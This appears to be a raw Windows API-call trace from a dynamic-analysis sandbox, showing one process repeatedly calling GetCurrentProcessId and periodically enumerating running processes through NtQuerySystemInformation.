GetCurrentProcessId () returned 0x10c0 [0286.218] GetCurrentProcessId () returned 0x10c0 [0286.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1e118) returned 0x0 [0286.769] GetCurrentProcessId () returned 0x10c0 [0286.769] GetCurrentProcessId () returned 0x10c0 [0286.769] GetCurrentProcessId () returned 0x10c0 [0286.769] GetCurrentProcessId () returned 0x10c0 [0286.769] GetCurrentProcessId () returned 0x10c0 [0286.769] GetCurrentProcessId () returned 0x10c0 [0286.769] GetCurrentProcessId () returned 0x10c0 [0286.769] GetCurrentProcessId () returned 0x10c0 [0286.769] GetCurrentProcessId () returned 0x10c0 [0286.769] GetCurrentProcessId () returned 0x10c0 [0286.769] GetCurrentProcessId () returned 0x10c0 [0286.769] GetCurrentProcessId () returned 0x10c0 [0286.769] GetCurrentProcessId () returned 0x10c0 [0286.769] GetCurrentProcessId () returned 0x10c0 [0286.769] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.770] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.771] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.772] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0286.773] GetCurrentProcessId () returned 0x10c0 [0287.364] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1e168) returned 0x0 [0287.385] GetCurrentProcessId () returned 0x10c0 [0287.385] GetCurrentProcessId () returned 0x10c0 [0287.385] GetCurrentProcessId () returned 0x10c0 [0287.385] GetCurrentProcessId () returned 0x10c0 [0287.385] GetCurrentProcessId () returned 0x10c0 [0287.385] GetCurrentProcessId () returned 0x10c0 [0287.385] GetCurrentProcessId () returned 0x10c0 [0287.385] GetCurrentProcessId () returned 0x10c0 [0287.385] GetCurrentProcessId () returned 0x10c0 [0287.385] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.386] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.387] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.388] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.389] GetCurrentProcessId () returned 0x10c0 [0287.914] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1e168) returned 0x0 [0287.921] GetCurrentProcessId () returned 0x10c0 [0287.921] GetCurrentProcessId () returned 0x10c0 [0287.921] GetCurrentProcessId () returned 0x10c0 [0287.921] GetCurrentProcessId () returned 0x10c0 [0287.921] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.922] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.923] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.924] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0287.925] GetCurrentProcessId () returned 0x10c0 [0288.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1e168) returned 0x0 [0288.464] GetCurrentProcessId () returned 0x10c0 [0288.464] GetCurrentProcessId () returned 0x10c0 [0288.464] GetCurrentProcessId () returned 0x10c0 [0288.464] GetCurrentProcessId () returned 0x10c0 [0288.464] GetCurrentProcessId () returned 0x10c0 [0288.464] GetCurrentProcessId () returned 0x10c0 [0288.464] GetCurrentProcessId () returned 0x10c0 [0288.464] GetCurrentProcessId () returned 0x10c0 [0288.464] GetCurrentProcessId () returned 0x10c0 [0288.464] GetCurrentProcessId () returned 0x10c0 [0288.464] GetCurrentProcessId () returned 0x10c0 [0288.464] GetCurrentProcessId () returned 0x10c0 [0288.464] GetCurrentProcessId () returned 0x10c0 [0288.464] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.465] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.466] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.467] GetCurrentProcessId () returned 0x10c0 [0288.468] GetCurrentProcessId () returned 0x10c0 [0288.468] GetCurrentProcessId () returned 0x10c0 [0288.468] GetCurrentProcessId () returned 0x10c0 [0288.468] GetCurrentProcessId () returned 0x10c0 [0288.468] GetCurrentProcessId () returned 0x10c0 [0288.468] GetCurrentProcessId () returned 0x10c0 [0288.468] GetCurrentProcessId () returned 0x10c0 [0288.468] GetCurrentProcessId () returned 0x10c0 [0288.468] GetCurrentProcessId () returned 0x10c0 [0288.468] GetCurrentProcessId () returned 0x10c0 [0288.468] GetCurrentProcessId () returned 0x10c0 [0288.468] GetCurrentProcessId () returned 0x10c0 [0288.468] GetCurrentProcessId () returned 0x10c0 [0288.468] GetCurrentProcessId () returned 0x10c0 [0288.468] GetCurrentProcessId () returned 0x10c0 [0288.994] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1e118) returned 0x0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.002] GetCurrentProcessId () returned 0x10c0 [0289.003] GetCurrentProcessId () returned 0x10c0 [0289.003] GetCurrentProcessId () returned 0x10c0 [0289.003] GetCurrentProcessId () returned 0x10c0 [0289.003] GetCurrentProcessId () returned 0x10c0 [0289.003] GetCurrentProcessId () returned 0x10c0 [0289.003] GetCurrentProcessId () returned 0x10c0 [0289.003] GetCurrentProcessId () returned 0x10c0 [0289.003] GetCurrentProcessId () returned 0x10c0 [0289.003] GetCurrentProcessId () returned 0x10c0 [0289.003] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.004] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.005] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 